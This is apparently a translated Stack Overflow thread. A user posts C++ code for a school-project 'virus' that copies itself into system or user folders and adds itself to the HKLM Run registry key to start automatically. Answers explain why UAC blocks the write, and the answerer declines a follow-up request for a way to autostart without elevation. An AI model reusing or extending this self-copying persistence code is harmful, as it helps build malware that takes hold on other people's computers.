2013-10-05 111 views
0

我正在爲我的學校項目編寫實驗性病毒。應該進行自我複製,自行啓動.. 我開始用這個article,我來到了這一點:無法寫入註冊表

#include <windows.h> 
#include <iostream> 
#include <tchar.h> 
#include <stdio.h> 
using namespace std; 

void main() 
{ 
wchar_t system[MAX_PATH]; 
wchar_t user[MAX_PATH]; 
wchar_t pathtofile[MAX_PATH]; 
HMODULE GetModH = GetModuleHandle(NULL); 
DWORD bufSize = MAX_PATH; 

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile)); 
GetSystemDirectory(system, sizeof(system)); 

std::wstring s(system); 
s += std::wstring(L"\\virus.exe"); 
WCHAR* sysfull = &s[0]; 

if(!CopyFile(pathtofile, sysfull, false)) 
{ 
    sysfull = L"C:\\Users\\Public\\virus.exe"; 
    if(!CopyFile(pathtofile, sysfull, false)) 
    { 
     GetUserName(user, &bufSize); 
     std::wstring u(L"C:\\Users\\"); 
     u += std::wstring(user); 
     u += std::wstring(L"\\Documents\\virus.exe"); 
     sysfull = &u[0]; 
     CopyFile(pathtofile, sysfull, false); 
    } 
} 

HKEY hKey; 

bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey); 
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system)); 
RegCloseKey(hKey); 

MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK); 
} 

當我看到在註冊表編輯器在HKEY_LOCAL_MACHINE \ SOFTWARE \微軟\的Windows \ CurrentVersion \ Run中存在的問題是不是新的關鍵。 RegOpenKeyEx和RegSetValueEx返回true,並且一切似乎都正常,但事實並非如此,我也不知道爲什麼。

我在Windows 8上並使用VS12。

+1

首先,'void main'不是合法的C++。其次,更仔細地閱讀文檔。他們甚至沒有布爾型的返回類型,所以我不知道你從哪裏得到了真正的答案,但是如果有的話,那就意味着失敗。 – chris

回答

1

Windows Vista和更高版本通過名爲UAC的機制阻止對某些敏感位置(如HKEY_LOCAL_MACHINE_KEY,C:\Windows等)的寫入訪問。如果啓用了UAC(默認情況下),則管理員級別用戶默認具有減少的一組特權,並且程序需要使用稱爲提升的技術來獲得完全的管理員權限。或者,您可以通過右鍵單擊菜單以管理員身份啓動程序,爲其提供完全訪問權限。

無論哪種方式,打開UAC後,用戶需要在授予權限之前通過對話框批准高程。

RegOpenKeyEx()這樣的註冊表功能在成功時返回0,並在失敗時返回錯誤代碼 - 不是真/假。如果你正確地檢查了返回代碼,你會看到它們返回5,即ERROR_ACCESS_DENIED

+0

考慮到這應該是病毒,海拔看起來不是一個解決方案。有沒有其他方法可以讓節目開始播放? – legionar

+0

即使是用於學校項目,我也不是很樂意幫助您編寫病毒。如果你做了一些研究,你可能會找到解決辦法 - 我只是解釋系統的工作原理。 –